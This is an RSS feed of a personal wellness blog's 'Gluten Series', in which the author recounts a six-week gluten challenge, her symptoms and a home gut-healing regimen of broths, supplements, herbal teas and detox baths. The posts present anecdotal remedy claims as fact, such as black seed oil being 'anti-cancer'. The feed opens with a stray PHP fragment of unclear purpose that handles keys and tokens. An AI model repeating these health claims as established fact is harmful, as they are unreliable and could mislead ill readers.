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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); The Gluten Series Archives - Blissfully Healing https://blissfullyhealing.com/category/gluten-series/ In search of life, meaning, and balance Sat, 10 Jul 2021 12:42:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg The Gluten Series Archives - Blissfully Healing https://blissfullyhealing.com/category/gluten-series/ 32 32 139782009 My Battle Recovering from Gluten: Week 3+4 (Finding My Gut Healing Regimen) https://blissfullyhealing.com/finding-my-healing-regimen/ Thu, 31 May 2018 01:36:27 +0000 https://blissfullyhealing.com/?p=857 I realized this week that this journey isn’t an easy one.  But, the wealth of information I recalled in week 2, and the amount of information I read since then, gave me a spring in my step by week 4. …

The post My Battle Recovering from Gluten: Week 3+4 (Finding My Gut Healing Regimen) appeared first on Blissfully Healing.

]]> I realized this week that this journey isn’t an easy one. 

But, the wealth of information I recalled in week 2, and the amount of information I read since then, gave me a spring in my step by week 4. Simply put, my perspectives changed. I realized that I have the power to change my health and thus my life and I am going to do it!

 

By the end of week three, I had gone to the library and checked out 14 books, made my homemade jello,  was taking a bath every other day, had cut everything out except  meat, fish, shrimp, peas and soup (cow feet and goat meat), and had ordered the supplements that I used last time in addition to a few new ones. 

…And I was starting to feel the difference! (with some minor setbacks here and there)

 

Photo by Christian Holzinger on Unsplash
Photo by Christian Holzinger on Unsplash

 

Personal experience:

To fully heal my damaged gut and recover my health, I decided to take a few things from last year’s healing regimen, and add some new healing tools supported by research and known to heal the gut.

 I realized through reading that even though I had good results from last year’s plan, the plan was not as efficient as it could have been. Therefore, I decided to come up with a new plan and tweak it as needed.

 

 

Items added to the new gut healing regimen:

 

1.Changed mindset:

Last year:

The biggest difference between last year and this year is my perspective.

In comparison to this year, last year seems like I was in a daze. Just moving from moment to moment trying to find something, anything that will make the pain stop and make everything go away.  I was also much more impatient and did not have a bigger vision for my health.

I was struggling with the concept of being ill for the rest of my life. Basically, I was struggling with the idea that I will never be ‘normal’, I will never be like everyone else, eat whatever I want, when I want, how I want.

I will never be able to use what others use without caution, or do what others do without caution. Basically, I was feeling robbed of choices.

I have always had to be careful about everything. Things I see and hear affect my brain and mood, things I eat affect my health, things I use on my skin affect my general wellbeing etc etc. So I have always had to proceed with caution, and this fact was very difficult for me to grasp.

 

This year:

This year is different!

 I am going for a lot more than surviving, I want to thrive!

I want to heal, and accept the definition of my healing to mean that I will have to do things differently, make my own beauty, hygiene, and cleaning products, come up with home-made recipes that are both delicious and kind to my delicate system etc. Basically, I am simply making a choice to make my life a journey of healing and to foster meaning through intentional living.  

This is incredible! I love that I have come to this realization.

My body and mind have always pulled me to be better because of the limitations they set for me and rather than fighting it, I am now embracing it. This is a profound gift.

 

2.Soup

Last year I did not put too much focus on soup, I vaguely knew of bone broth benefits but it never occurred to me to add it into the regimen. This year I am adding two types of soup:

 

1.Makanyagio (Cow feet soup):

Ahhhhh yum, cow feet soup. This is a delicacy in Kenya and my mom has the best recipe. Every year on Eid days(days of celebration in the Islamic tradition), my mom’s soup is heartily anticipated by everyone. Never have we had the problem of having makanyagio leftovers.

 

Makanyagio, literally means, “that which steps”.

So basically, we are making soup from the bones and cartilage of the feet of the cow.

The soup is extremely nutritious as it is a form of bone broth, only in addition to the bone and marrow benefits, it is also extremely gelatinous and has the full benefits of gelatin which has peptides, proteins and L-glutamine that help heal the gut.

 

2.Goat meat soup

Technically this can be categorized as bone broth as I make the soup from goat meat that have bones in them, remove the meat and only consume the broth.

Before starting the gluten challenge, my diet consisted of  goat meat soup and rice, along with various proteins on the side (organs, fish, shrimp) as I was slowly introducing fruits and vegetables into my system. My health was not 100%, but I was getting there.

So I decided to keep this soup in my healing regimen, even though I have to cut out a lot of the ingredients I used to make the soup. (I cut out potatoes, spinach, carrots, kale, bellpeppers).

 

3.L-Glutamine:

L-glutamin is an amino acid that works wonders in the body and specifically in repairing a damaged gut. In leaky gut, it helps to repair the damaged mucosal membrane, and aids in the re-tightening of the open junctions that cause leaky gut.

L-glutamine naturally exists in gelatin, therefore I have plenty from makanyagio soup and the home made jello, but on days when I make goat meat broth, I add two scoops of l-glutamine powder to the soup.

 

4.A Good Probiotic:

When I took anti-microbials for a month to eliminate SIBO, along with my other unwelcome gut guests, taking a probiotic every night was part of the protocol. Although when things got worse instead of better after the treatment, I stopped taking probiotics and haven’t taken any since then.

With extensive reading and research, I discovered that a good probiotic with the right strains will make a very big difference in healing my gut. My damaged gut has an imbalance of good/bad bacteria, otherwise known as gut dysbiosis. Therefore, an introduction of good bacteria that focus on repairing and recolonizing the gut will make a significant difference in my healing.

I spent some time researching the types of bacteria beneficial for healing the gut and came up with a hearty list that I will share in a post soon (stay tuned =) ).

I also found a probiotic, Floratrex, that has a good number of those probiotics. It has 23 strains in 50 billion CFU, is made out of vegetable capsules and is gluten free. I decided to go for it and see how it works for me.

 

 

5.Aloe Vera Gel:

Aloe vera gel has excellent beauty and health benefits. In regards to healing the gut, it binds to receptor sites in the mucosal lining that form a barrier and bind the gut, therefore helping repair leaky gut.

Last year I used aloe vera juice and it occasionally gave me heart burn, so this year I decided to switch to the gel as it is more cooling and my body reacts better to it.

 

 

6.Black seed oil:

Like many of the things in this list, black seed oil also has many health and beauty benefits. It is anti-bacterial, anti-fungal, anti-inflammatory, anti-ulcer , anti-diuretic, anti-cancer, gastroprotective, and an antioxidant among other things.

I started using black seed oil half way through my healing journey last year, and decided to add it back to my regimen this year.

 

7.Teas:

Last year I put a lot of focus on turmeric, ginger and fennel seed tea. This year, I decided to branch out a little bit and add other teas that can assist in healing my gut. I added licorice root tea, peppermint tea, and dandelion tea.

 

8. Vitamins:

Iron, Calcium, B-12, Vitamin-D, Magnesium and Potassium

These are all essential  vitamins that get depleted and deficient due to gut dysbiosis and leaky gut. The various vitamins are ingested by opportunistic organisms, used for other purposes by the immune system rather than replenish the body, and in some cases, such as in vitamin D, their deficiency actually contribute to leaky gut.

I know that I have a deficiency in these vitamins, but I never attributed them to gut health, or the lack thereof. When I found out that their presence would help heal my gut lining, maintain a healthy balance of my intestinal microbiome, assist my mood, fatigue and mind health, among many other health benefits, I added them to my healing regimen.

 

 

***

 

I realize now that it’s all trial and error and that is what it has been for doctors through my life. With that realization and the mentality that knowledge is power, I have a new outlook to healing and recovering from a lifetime of chronic health issues.

This time, I want to heal rather than medicate my gut, and to do that I needed to consider my past healing routines, read and understand my illnesses and find natural solutions that offer true, genuine healing as opposed to numbing my symptoms.

So I spent the last two weeks with my head in books and articles, my nose in my laptop screen and my creative hat on in the kitchen making homemade bone broths, jello and healing recipes. Along with seeking knowledge and making recipes comes taking supplements, hydrating, detoxifying and giving my body time and space to heal.

I have to say that this year, I am truly excited for my healing journey!

 

Related Posts:

The post My Battle Recovering from Gluten: Week 3+4 (Finding My Gut Healing Regimen) appeared first on Blissfully Healing.

]]> 857 My Battle Recovering from Gluten: Week 2 (Reconstructing Past Remedies) https://blissfullyhealing.com/my-battle-recovering-from-gluten-week-2/ Sat, 26 May 2018 17:57:34 +0000 https://blissfullyhealing.com/?p=827 I needed to reconstruct what I had done when my gut was in full flare up about a year ago. Finding a solution to the problem that I seemed to have created with my own hands became a priority. Basically, …

The post My Battle Recovering from Gluten: Week 2 (Reconstructing Past Remedies) appeared first on Blissfully Healing.

]]> I needed to reconstruct what I had done when my gut was in full flare up about a year ago. Finding a solution to the problem that I seemed to have created with my own hands became a priority. Basically, I needed to rebuild the Rome that I had worked so hard to build for almost a year and definitely destroyed in a day. 

I had to remember what I had done to heal my gut the first time around in 2017. I had to. Because without those memories, I had nothing but a damaged gut and an endless offer of damaging pharmaceutical drugs prescribed by my doctors.

 

Photo by ALP STUDIO on Unsplash

 

Personal experience:

The symptoms now are very similar to the symptoms last time, gastritis, heartburn, lots of burping, bloating, sharp stabbing pains in my gut, along with the other symptoms I wrote about in the gluten series and week 1 of gluten recovery. 

So, I decided to really sit and analyze the first month I started healing my gut in 2017, and analyze everything, no matter how small it seemed.

As I would recall what I had done before, I would try it instantly and add it to my healing regimen in a way or another.

 

My 2017 Healing Regimen:

Patience:

I realized that it all took time.

In hindsight, 10 months may not seem like much, but they are. I then remembered that the first two months were the hardest months. Because like now, I could not eat anything at all and I needed to completely change my diet to find one that my gut agreed to, and that was the first step.

 

Protein diet:

The inferno would rise any time I ate, but what I ate mattered. Basically, anything that was not, meat (organs in specific – kidney, liver, heart), fish or shrimp would cause a very big problem. Being that I had developed an allergy to most fruits and vegetables (my naturopathic doctor ran a food allergy test), I focused on what did not hurt.

 

Lucky for me, that decision turned into a very healing one. By eating only what my gut accepted, I was giving it time to heal. The protein diet was my elimination diet. Since everything else hurt, I only ate organ meats, fish, shrimp, fermented vegetables, homemade jello and occasionally included coconut peas to change the variety of my food.

I cooked with coconut oil and ghee and mostly kept my foods simple.

I also replaced onions and garlic with the green part of scallions/green onion to add a little onion-y flavor to my foods.

 

Fresh Turmeric and Fennel Seed Tea:

At the peak of my pain in 2017, I could barely eat anything and the pains were as ghastly as they are now. I did not know what to do, even though I had been working with a naturopathic doctor for almost 3-4 months.

 

Luckily, my mom has an incredible friend in Malindi, Kenya who is very good with herbs. My mom explained my pains and agony, her friend told her that we should buy fresh turmeric, blend it like we do ginger for our ginger tea, then every morning, put the turmeric in water and let it boil and at its boiling point, add the fennel seed and turn off the stove. Then drink this first thing in the morning on an empty stomach.

 

Whoa! This helped me more than I could have possibly imagined. In 2 weeks, I was not feeling the grave nature of a burning inferno every time I ate. But I still had to keep up with the protein diet.

 

I had help from supplements:

Even though I stopped seeing my naturopathic doctor when everything got worse instead of better, I realized that some of the natural prescriptions she had prescribed for me were still making a big difference in my gut.

 

*Iberogast: 

  • Helped with heartburn, indigestion, nausea, and other gut symptoms.
  • Because my motility (ability for food to move through my digestive tract) was slow, I needed help moving things along so the bacteria would not have a feast every time I ate, and this helped with that too!

 

*Biogenesis, Intestinal Repair Capsules: (Vegetable capsules)

These were a big help in helping me repair my gut. So as soon as I remembered that this was part of my healing regimen the year before, I ordered them.

 

*Liver Detox: (Vegetable Capsules)

I remembered that when I was taking anti-microbials, liver detox was part of the healing regimen prescribed by my naturopathic doctor. Even after I finished the anti-microbials and everything fell off the cliff with my gut and I stopped seeing my naturopathic doctor, I still continued taking them to help my body.

I remembered that I took them, along with black seed oil, omega-3 fish oils, vitamin-D, and occasionally oregano oil, during a full body flare up and when my inflammation was very bad.

 

*Digestive enzymes: (Vegetable Capsules)

I stopped taking towards the end of  2017 when my gut had significantly improved. My stomach no longer needed help digesting the foods that I was eating.

But during week 1 of the gluten challenge, I realized that I needed help,  I was not digesting food properly anymore, so I bought some and started using them again. I stopped taking them again in week 3 of the challenge and resumed immediately after the endoscopy/biopsy.

 

 

Remembering this information was like remembering where I had put a massive stash of gold. I was simply jumping for joy. For a good deal of time these memories were all I was yapping about. Along with actually jumping up and down for joy.

 

Detox:

I remembered that when I started taking the antimicrobials prescribed by my ND, I increased my detox by a ten fold. 

 

Detox Bath:

I took a detox bath everyday, or every two days depending on how I felt.

Steam Room and Sauna:

My gym at the time had a steam room and sauna which my mom and I went to every saturday morning, to detox, restore and relax.

Aloe Vera Juice:

I had aloe vera juice and warm water every morning after the turmeric and fennel seed tea.

Liver Detox:

I was taking a liver detox to help eliminate the toxins in my system that I had developed over time and that I was accumulating with the SIBO and the treatments.

 

Gentle Exercise:

Yoga:

I have a gentle morning yoga routine that I stuck to through my healing journey in 2017. Until my body recovered enough to be able to do rigorous exercise. Gentle stretches linked to deep breathing definitely helped my mood and made my body feel good. My daily yoga routine made a very big difference in how I felt throughout the days.

Walk:

Even though my body fully hurt from major inflammation and malnutrition, I still walked about an hour a day. 20 minutes to the bus to and from work and about 15-20 minutes during my lunch break.

 

Chiropractor:

I started seeing a chiropractor weekly when things got really bad in the beginning of 2017. This was before I realized that my gut was causing all the problems in my body.

Things were so bad, that I needed help getting out of bed.

There was so much pain all over my body, and specifically sharp shooting pain in my spine. So on bad days, I would wake up motionless, full of pain and would need to call my mom to help me out of bed.

 

The chiropractor informed me that my body was extremely inflamed and I needed to start focusing on an anti-inflammatory diet. I later started seeing a naturopathic doctor who diagnosed me with SIBO, candida overgrowth, and hpylori, and we started working on healing the gut.

 

Changed my shoes:

I loooveeee *vibram 5 finger shoes. They were my only pair of shoes for a little while, until I found out the hard way that they were causing additional back pain because they do not offer much support.

Basically, as I struck my heel into the ground in stride, the shock would be absorbed into my body (specifically my back), rather than the sole of the shoe(vibrams don’t have very thick soles).  It completely broke my heart to stop wearing them.

Although from what I understand, once my back gets better and I move away from malnutrition (causes a lot of spinal pain), I can wear them again on soft surfaces( basically sand), hiking, running on the beach, etc. But I must avoid wearing them on concrete and other hard surfaces.

Bummer.

I really loved those shoes. I even went to a wedding in them once 🤭.

 

*Amazon affiliate links.

 

Related Posts:

The post My Battle Recovering from Gluten: Week 2 (Reconstructing Past Remedies) appeared first on Blissfully Healing.

]]> 827 My Battle Recovering From Gluten: Week 1 https://blissfullyhealing.com/my-battle-recovering-from-gluten-week-1/ Fri, 25 May 2018 16:43:22 +0000 https://blissfullyhealing.com/?p=806 6 weeks of gluten, 3 times a day, is a lot of gluten to ingest for anyone, let alone someone who struggles with it. When my gastroenterologist told me that I needed to eat gluten 3 times a day for …

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]]> 6 weeks of gluten, 3 times a day, is a lot of gluten to ingest for anyone, let alone someone who struggles with it.

When my gastroenterologist told me that I needed to eat gluten 3 times a day for 6 weeks, I was dumb founded for a little while, before I spoke again. My body froze with anticipation of the pain it once experienced on a daily basis before I removed gluten from my system.

All I could think was, 10 months of hard work down the drain, all in the name of finding a diagnosis.

 

Photo by Velizar Ivanov on Unsplash

Personal experience:

Even though I had my doubts before starting my gluten challenge, I did it anyway. I was determined to make it through the six weeks in hopes that, after the endoscopy/biopsy, the doctor would say, “you have …” ( I was rooting for celiac disease). And I would say “YAY!!! I know what I have now,” and start my healing journey. I finished the gluten challenge 3 weeks ago, did my endoscopy and biopsy and have been struggling to heal ever since.

 

I did not clearly remember the full scope of damage gluten had done before I started healing my gut last year and had completely forgotten how long it took me to (kind of) heal my gut… 10 months… kind of, because in March before I started eating gluten again, I was still in recovery mode, eating mainly soups and slowly introducing foods back into my system. BUT… it had taken me 10 months to do very difficult, challenging, and disciplined work that was all erased by a 6 week doctor prescribed order.

 

Day  1 after endoscopy:

This week was extremely hard.

The first meal I had after the endoscopy torched my gut, I was in wrecked pain, an inferno in my gut, heartburn, nausea, immediate bloating, burping, light-headedness, fatigue and tears. The realization of what I had just done over the last 6 weeks hit and I completely broke down. I could no longer eat what I had been eating before the challenge, and I could not remember what I had done to heal the first time around… so what could I eat now?

 

Day 2:

I had to try to jog my memory back to a year ago, and figure out what I had done to heal my gut in 2017. The symptoms I had experienced then were all back. The burning sensation when trying to eat, the lack of appetite because of all the pain caused by eating, the nausea, indigestion, bloating, constipation, lightheartedness, dizziness and extreme fatigue that was associated with food made it very difficult to want to eat.

 

Day 3:

My stomach and esophagus, had turned into a blazing inferno and I did not know what to do about it. I was stuck, feeling very hopeless in the wake of the damage I had just finished doing to myself. I was feeling stuck, because I knew that doctors would not help me heal this, (they failed last time (I was given a boatload of prescriptions to muzzle the pain), what would make it different this time?) and I could not remember what I had done in the beginning to heal the gut in the first place. All I could remember was the last few months before the challenge.

 I remembered that I ate soup and rice, plain meat and rice, organs and rice, fish and rice and was slowly introducing soft vegetables( baby bellpeppers, spinach, kale and potatoes into my diet ). All I could remember was I was doing well with that, and perhaps I should start there.

Day 4:

The diet I was on before the gluten challenge was a complete fail. All that food was causing A LOT of pain and I could not figure out what to eat.

Day 5-7:

I spent these days trying to jog my memory and remember what I had done in 2017 to heal my gut in the first place. My stomach was still a big problem, food was still very difficult to eat and the rest of my body and mind just weren’t working with me.

 

***

For some reason I assumed that dropping gluten would automatically make my body feel better, and I would be where I was 6 weeks before… but … noooooo. My body was in a horrible state. I was still in full inflammation mode, fatigue, pain, nausea… the whole nine yards. And eating food hurt!

 

Inflammation:

Paaaaiiinnn.

I was still in full body inflammation, feeling the pain and pangs in every bit of my body including my brain. (I have not written an article or done any significant blogging work in about 6 weeks – last 3 weeks of gluten challenge and the last 3 weeks trying to find a healing regimen). It has been a tough few weeks.

 

Depression:

Yup. Still there.

With the realization that I was in a really horrible health condition, (and I willingly did that to myself), I was finding it very hard to find meaning in much. I wanted to give up and would constantly have to re-encourage myself to find healing for myself.

 

Anxiety:

This was the beginning of a new era for anxiety. 2-3 anxiety attacks per day, sometimes even in my sleep. The full scope of fear and panic I used to experience before cutting out gluten was back. I was struggling and I didn’t know what to do or how to help myself, which only made me panic even more.

This didn’t change much until week three when I started a gut healing regimen that worked.

 

Brain fog:

Everything was a haze. Reading, writing, and simply concentrating was a torturous task and nothing seemed important enough to warrant my attention. I was simply in shambles.

 

Forgetfulness and Confusion:

I forgot everything! Everything! Including sometimes where I was, or what I was doing. And this brought about a whole lot of fear, confusion and panic.

 

Gastritis and Heartburn:

Ohhhhhh. It really hurt to eat. I basically stopped eating because of the amount of pain it caused. Even soup hurt.

 

Related posts:

 

 

 

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]]> 806 My Gluten Challenge Week 6: Hitting Rock Bottom https://blissfullyhealing.com/my-gluten-challenge-week-6-hitting-rock-bottom/ Tue, 15 May 2018 15:39:27 +0000 https://blissfullyhealing.com/?p=788 ITS THE LAST WEEK!!!!! Oh, Thank God it’s the last week. I am beyond grateful for being able to get to this stage of this very painful journey and making it. This last week has been a nightmare, along with …

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]]> ITS THE LAST WEEK!!!!! Oh, Thank God it’s the last week.

I am beyond grateful for being able to get to this stage of this very painful journey and making it.

This last week has been a nightmare, along with actual nightmares.

1.Extreme fatigue:

Oh my…

 

I . . . am . . . tired.

 

So . . . very . . . very . . . very . . . very . . . very . . . tired.

 

Last week I wrote about how exhausted I was, but that was nothing compared to how I feel right now. I just can’t. I can’t. Can’t.

Everything requires calculation. The thought of leaving the bed to walk to the kitchen or restroom, makes me want to cry. There is no energy for anything. Top that with extreme constant pain… life seems very meaningless right now.

Ohhh a shower:

I need to rest from a shower.

A shower takes absolutely everything out of me. Then after a shower, trying to figure out what to wear is like mental torture.

 

2.Extreme brain fog:

My mind is a mess.

Everything seems so hazy and ungrounded. I am extremely forgetful, constantly confused and my brain can’t process anything. At all.  

I. just. can’t. think. properly. Or think at all.

Having a conversation with me right now could be very irritating. I can’t formulate sentences very efficiently or properly and, it takes me forever to think of words.

Mom’s car: the red thingy with four round things under it

 

Ohhh driving:

I am having such a hard time driving. I used to be very sharp with changing lanes, gauging my speed, and observing what is around me. For instance, right now it takes me forever to change a lane. I just can’t seem to properly analyze how close or far a car is. Which incites confusion and fear.

Ohhhh and parking… I am parking worse than my mom right now. That says A LOT.

 

3.Not Sleeping, Nightmares and Fear:

I am not sleeping properly.

This was a problem in week one, then started again when I stopped helping my gut in week 5. Sleep just doesn’t want to come and when it does, it is extremely restless.

Then, I wake up a million times through the night, from nightmares and to use the restroom.

The nightmares induce so much fear within sleep, which completely ruin the flow of the day. Starting with fear, anxiety, exhaustion and pain unquestionably leads to a very unproductive day. Being that I am also having a really hard time meditating, and haven’t done so in about 3 weeks, setting my mind right just isn’t happening.

 

4.Sharp pains in my gut:

Very similar to week one, only this week and last week’s pain levels were surreal.

There are different pains:

  1. The sharp pain that feels like I have an army of angry ninjas just chopping their way through my stomach.
  2. The blazing inferno that doesn’t seem to have an extinguisher strong enough to subdue it.
  3. The knot that makes me feel like I’m growing a rock in my stomach.

 

5.Helllooo Seizure:

I was trying so hard not to get a seizure during these 6 weeks and three days before my procedure, I did.

So close…

I don’t even know what happened, or why it happened, it just happened.

 

6.Skin and teeth sensitivities:

Drinking water, irregardless of temperature is not fun…

and…

hot or cold water on my skin is definitely not fun…

Let’s just say, nothing about this week is fun.

 

7.Slow shooting intense back pains:

Oooohhhhh.. Hmmm. ummmmmmmmm.. Yeah.

I don’t have words for this pain.

Through the 6 weeks I had sporadic pains here and there and the shooting pains were, well, shooting. They were fast and at times I would recognize the pain after the fact.

These are slow and torturous.

They start from the lower back and slowly pull with increased intensity towards my neck.

S.l.o.w  a.n.d  p.a.i.n.f.u.l.

Slow and intense enough to make you have involuntary screams that correspond to the shooting pain.

…..

I just don’t have words for this pain.

 

8.Inflamed bladder / painful urination:

This was a problem that began in the beginning of this journey, but wasn’t bad enough until week 5. Now, hahahahah. Hmmmmmm. Now, I make about a million trips to the restroom and about a drop per visit. And like last week, oh! the pain.

 

9.Irritation:

The irritation I mentioned in week 4 was child’s play compared to this week. I never realized how much diet can affect mood. I had ideas that diet had something to do with mood and hormones, but wwwhhhoooaaa.

 

10.Anxiety & Depression:

No words.

***

I’m excited that this journey is finally over. I really am.

Before I stopped eating gluten early last year, I did not eat that much gluten anyway. I didn’t like the way breads and pastries made me feel so I reduced eating them, but I still ate farina, barley and other forms of gluten. As my health got worse, I eventually completely cut all forms of gluten out and started feeling significantly better.

 

I must say, eating 3 servings of gluten per day as required by the gluten challenge, is A LOT of gluten. 

 

This challenge was like putting myself in a pressure cooker and putting it on high heat. The amount of gluten I was required to eat and ate, was a lot more than a regular diet with gluten, which explains a lot about why my symptoms progressed so quickly.

 

As painful as this journey was, it has been incredible to see just how much damage gluten does to my health and the opportunity to document it has been incredible for my own sanity. It ‘s a definite win to know that my illness is not “all in my head” as many have suggested.

 

UP NEXT: Upper GI endoscopy and biopsy =).

 

Related Posts:

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]]> 788 My Gluten Challenge Week 5: Accepting Chronic Pain https://blissfullyhealing.com/my-gluten-challenge-week-5-accepting-chronic-pain/ Wed, 09 May 2018 16:55:33 +0000 https://blissfullyhealing.com/?p=776 During week 2, I realized that I needed help if I wanted to be able to make it to the 6th. So, I reintroduced digestive enzymes into my diet to help me digest my food and reduce stomach pains, which also …

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]]> During week 2, I realized that I needed help if I wanted to be able to make it to the 6th.

So, I reintroduced digestive enzymes into my diet to help me digest my food and reduce stomach pains, which also had probiotics and helped with my mood, anxiety and depression. Did daily foot soaks to reduce inflammation and help ease pain, along with weekly full body Epsom salt soaks to thoroughly help me. And… I drank a full thermos of ginger and turmeric tea on a daily basis, to help with digestion and ease inflammation.

 

Basically, I did A LOT!

 

Having only 2 weeks left, I decided to stop using all the help so the doctor can get to see what really happens in my gut. With all the help gone… I really need help.

The worst part of it all, is knowing what can alleviate the pains but not being able to do it. The dread of helplessness definitely increased this week’s agony.

 

Photo by Oscar Keys on Unsplash
Photo by Oscar Keys on Unsplash

This week’s symptoms:

1.PAAAIINNN:

I’m in so much pain all the time.

 

2.Sharp spine pains:

So I used to have these before I changed my diet to a gluten free and anti-inflammatory diet. Now, similar to most of the things in this series, they are back.

For the most part, the sharp pains concentrate on the upper back and neck region, with occasional sharp shooting pains from the rest of the spine

 

3.Joint pain:

Extreme pain when moving from a position I’ve been in for a while. Waking up in the morning or after a nap is no joke. There is so much pain travelling through the body as I try to move. Along with feelings of numbness and tingling.

My hip joints and bones hurt so much my walking gait has changed

 

4.Serious muscle soreness and pain:

I mentioned this earlier in the series, but now, it is sooo soo so much worse.

 

5.Scalp hurts:

Again, like many of the things I talk about through this series, I had this problem before and now it’s back.

6.Sensitive teeth:

Now this is the least expected of all the symptoms I have been experiencing so far. I did not in a million years consider that my teeth sensitivity came from gluten.

I haven’t had the sensitive teeth issue in a while, and it’s reintroduction in my life is definitely not appreciated. Drinking water hurts. I should not need a straw for a life basic such as drinking water.

 

7.Fatigue:

Woi. woooiii. woooooii.

I am so tired. So very very tired. So very very very very tired.

This is been a theme throughout the last few weeks and the intensity of it is increasing each week.

 

8.Constipation/Bloating/Indigestion:

Ugh… Enough said.

 

9.Ears hurt:

I talked about this in week one, but what I was experiencing in week 1 was a tickle compared to how much my ears hurt now.

 

10.Choking sensation in my throat

This used to be a problem whenever I ate something my body did not agree with. I started noticing it in week 1, but now it has become a constant. My throat feels like there is someone holding it with force… AT ALL TIMES.

 

11.My poor bladder:

It’s inflamed. It takes me f.o.r.e.v.e.r to pee and on top of it, it hurts.

 

Related posts:

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]]> 776 My Gluten Challenge Week 4: Oh! The Pain https://blissfullyhealing.com/my-gluten-challenge-week-4-oh-the-pain/ Wed, 09 May 2018 15:54:26 +0000 https://blissfullyhealing.com/?p=746 I am finishing week 4 of of the gluten challenge and my goodness me. On certain days the pain is intolerable. The emotional drain unexplainable. And frankly, on those days I just want to give up. I cannot deny that …

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]]> I am finishing week 4 of of the gluten challenge and my goodness me. On certain days the pain is intolerable. The emotional drain unexplainable. And frankly, on those days I just want to give up.

I cannot deny that the last 4 weeks have been extremely difficult. What I can account for is that at the end of all this,I will get an answer to the mystery that is my health.

 

 

My gluten challenge week 4: Oh, the pain
Photo by Joshua Earle on Unsplash

 

 

This week’s symptoms:

1.Tingling numbness in hands and feet:

No surprise there. This usually happens after sitting in one place for a long time. Putting pressure on my hands and feet for extended amounts of time does not help either.

Like the other symptoms, this disappeared for a while, but has made a return during this prolonged gluten party.

 

2.Chest Pains:

Ok. Well this is by far the scariest symptom I have.

So I have occasional heart palpitations. I’m used to those and they don’t scare me that much anymore.

I am experiencing two different chest pains on the left side of my chest. First one is a dull ache right under the far right of my left breast, that never goes away. This dull ache also turns into sharp shooting pains that spread across my chest and make it very very hard to breathe.

The second is a dull ache with the capability of becoming very uncomfortable and painful, above the far right of my left chest cavity.

These started a while back. Although they were sporadic, they would come and go as they pleased and whenever I noticed the pain I would discuss it with my doctor (of the time), and this led to many EKG tests, but everything always came back normal.

 

Since I started the gluten challenge, I noticed it’s presence increasing in intensity. To this point, it has turned into a constant. The dull aches never goes away, and the sharp shooting pains come and go as they please.

 

3.Asthma:

As I spoke about in week 3, asthma is a real pain.

 

4.Anxiety and Mood swings:

I don’t like this part. Not as if I like any of the other parts. I just really really don’t like this part.

I have anxiety issues.

Over the years I have learned to observe my anxiety and have something of a cordial relationship with it. I know my signs and symptoms, and I know what to avoid to keep them at bay. Part of the reason anxiety and I had a good relationship was based of my diet. What I eat heavily affects anxiety and gluten seems to give anxiety an edge that I cannot understand.

Anxiety attacks are back.

 

This week I had an anxiety attack while cooking. There were many things going on, too many people talking, I was being asked questions, and boom. Anxiety attack!

 

The signs were all there, because it has been such a long time since I had to pay attention to my anxiety, I was not prepared. The attack was not as big as they used to be, but it bothered me that I did not see it coming. I mean, the signs were all there.

I got flustered, felt as though I was stuck, all over sudden things seemed as though they were moving at an unbearable pace, my breathing changed rapidly etc. I basically should have seen it coming.

 

With the anxiety comes the mood swings. Ugh…. I just, ugh… I don’t like mood swings. I like constancy and not being able to be in control of my moods just makes this whole situation that much worse.

 

5.Low energy, extreme fatigue:

I am tired. I am tired. I am tired. I am so tired.

 

I am just so tired.

 

6.Muscle & Joint pain:

My whole body hurts.

Although my muscles though bother me the least. They don’t hurt unless touched, bumped, etc. The pain is there at a distance, so as long as I avoid bumping into anything, or jumping children, I’m ok.

 

7.Strong perfume make my stomach hurt + cause inflammation:

This is very interesting.

I noticed this towards the end of 2016 and it eventually disappeared when I changed my diet by removing inflammatory foods and gluten.

Now it’s back!

Perfume makes my stomach hurt, and the worst part of it, the stomach ache comes along with a full body flare up.

 

8.Irritated:

I really don’t like this part of my symptoms.

I am soo so very irritated by anything and everything. I mean, even oxygen can be irritating if it rubs me the wrong way at the wrong time.

 

Related Posts:

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]]> 746 My Gluten Challenge Week 3: Slowly getting stuck in my own body https://blissfullyhealing.com/my-gluten-challenge-week-3-slowly-getting-stuck-in-my-own-body/ Fri, 13 Apr 2018 17:00:36 +0000 https://blissfullyhealing.com/?p=688 Week 3 has maintained most of the symptoms from the last two weeks and heightened others. My mind seems to have accepted it’s fate and I don’t notice the constancy of the discomfort so much, unless I focus on a …

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]]> Week 3 has maintained most of the symptoms from the last two weeks and heightened others.

My mind seems to have accepted it’s fate and I don’t notice the constancy of the discomfort so much, unless I focus on a specific part of the body. I basically go about ignoring the discomforts as though they don’t exist.  Or, it could be that my mind is putting more focus on the symptoms that seem to be making it very difficult for me to do the basics. At the least, I can say that I am slowly feeling stuck within the pains of my own body. Most of the days I am in a lot of pain and can’t do much.

My Gluten Challenge Week 3: Slowly getting stuck in my own body
Photo by Joe deSousa on Unsplash

1.Full body inflammation: Flare ups

Ohhhh.. Dear me..

As I mentioned in week 2, full body inflammation has slowly been creeping in and it hit like a ton of bricks last weekend, and decided to stay for a few days.

I was in so much pain all I could do was just cry. I don’t know what happened either. Perhaps I ate something that completely threw my system off, or I did something that caused more imbalance than I already have, but whooooaaaa. The Pain.

Everything hurt, including my brain, chest and all joints. So much so, that I could barely walk or talk. Everything was so painful, so I just lay in bed watching cartoons.

Cartoons make me happy and sometimes we just need to tune to whatever offers us the kindness, healing, and joy we need at the moment we need it. 

 

2.Asthma is back with a bang:

My chest feels like there is an elephant sitting on it.

Alright, I cannot lie. I was expecting my asthma to make a reappearance during the challenge and planned according by asking my doctor for a prescription.

Before the gluten challenge, I was able to go inhaler free for about 7 months. Changing my diet heavily affected how much inflammation I had and that affected the status of my asthma.

After the few days of full body inflammation, asthma became a prominent problem. Before the flare up, it was lingering in the background without causing me too much pain.

Of course there were the signs.

One of them, I was watching a movie with my mom and in the middle of laughter, I started coughing. A deep, echo filled, drumming cough. My mom looked at me and asked me where my inhaler was. Well… It was still in it’s box hidden in the closet.

Before that moment, there were other signs. The frustrated moments of feeling as though there wasn’t enough air in the room, anxious moments of feeling as though I can’t breathe. But for the most part, I had it under control.

The asthma has not been kind either. Pangs of pain in my chest, breathing is difficult and sometimes talking is too. And sometimes, BEHOLD… blood when I spit and brush and of course more pain. At times, my chest feels like it’s carrying 500 tons of bricks on it.

